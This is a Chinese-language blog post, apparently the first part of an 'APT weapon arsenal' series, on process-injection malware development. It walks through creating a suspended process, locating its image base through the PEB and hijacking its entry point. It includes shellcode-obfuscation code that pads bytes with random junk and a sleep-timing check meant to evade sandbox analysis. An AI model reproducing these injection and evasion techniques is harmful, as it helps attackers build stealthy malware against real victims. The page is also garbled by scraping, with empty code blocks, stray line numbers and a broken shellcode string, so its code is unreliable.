APT武器庫打造計畫 && entry point 劫持 (1)
APT武器庫打造計畫 && entry point 劫持 (1)
1 |
|
流程
1 |
|
建立一個 Suspended Process , 此為注入的目標 Process
1 |
|
- CreateProcessA
1
2
3
4
5
6
7
8
9
10
11
12BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName, //應用程式名稱
[in, out, optional] LPSTR lpCommandLine, //命令行字符串
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, //Process安全屬性
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, //Thread安全屬性
[in] BOOL bInheritHandles, //是否繼承父進程的屬性
[in] DWORD dwCreationFlags, //創建標誌
[in, optional] LPVOID lpEnvironment, //指向新環境塊的Pointer
[in, optional] LPCSTR lpCurrentDirectory, //指向當前目錄名的Pointer
[in] LPSTARTUPINFOA lpStartupInfo, //傳遞給新進程的信息
[out] LPPROCESS_INFORMATION lpProcessInformation //新進程返回的信息
);
1 |
|
- LPSTARTUPINFOA && PROCESS_INFORMATION
1
2LPSTARTUPINFOA si是一個指向STARTUPINFOA結構的指標,指定新進程的窗口屬性。
PROCESS_INFORMATION proc_info是一個包含新進程及其主線程信息的結構。它通常用於存儲新進程的進程和線程句柄。
取得imageBase
1 |
|
1 |
|
- PEB + 0x10位置即是process的imagebase address
1
2
3
4透過ReadProcessMemory來取得指定記憶體內容
LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 0x10;
PEB位置加上0x10定位到imagebase
獲取Header頭
Shellcode 加密 && Sleep 程式
1 |
|
加密方式很多種,目前還在測試中,於是就隨便塞垃圾byte..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15unsigned char plain[] = "\xfc\x48\x83\xe4\xf0
unsigned char buf[4 * sizeof(plain)];
int j = 0;
for (int i = 0; i < 4 * sizeof(plain); i++) {
if (i % 4 == 0) {
buf[i] = plain[j];
j++;
}
else {
buf[i] = rand() & 15;
}
}sleep
1
2
3
4
5
6
7
8auto t1 = std::chrono::system_clock::now();
std::this_thread::sleep_for(std::chrono::seconds(2));
auto t2 = std::chrono::system_clock::now();
auto elapsed_time = std::chrono::duration_cast<std::chrono::seconds>(t2 - t1).count();
std::cout << "Elapsed time: " << elapsed_time << " seconds" << std::endl;
if (elapsed_time < 1.5) {
return;
}
結語
1 |
|
APT武器庫打造計畫 && entry point 劫持 (1)
https://0xbe61a55f.github.io/2022/12/07/APT武器庫1/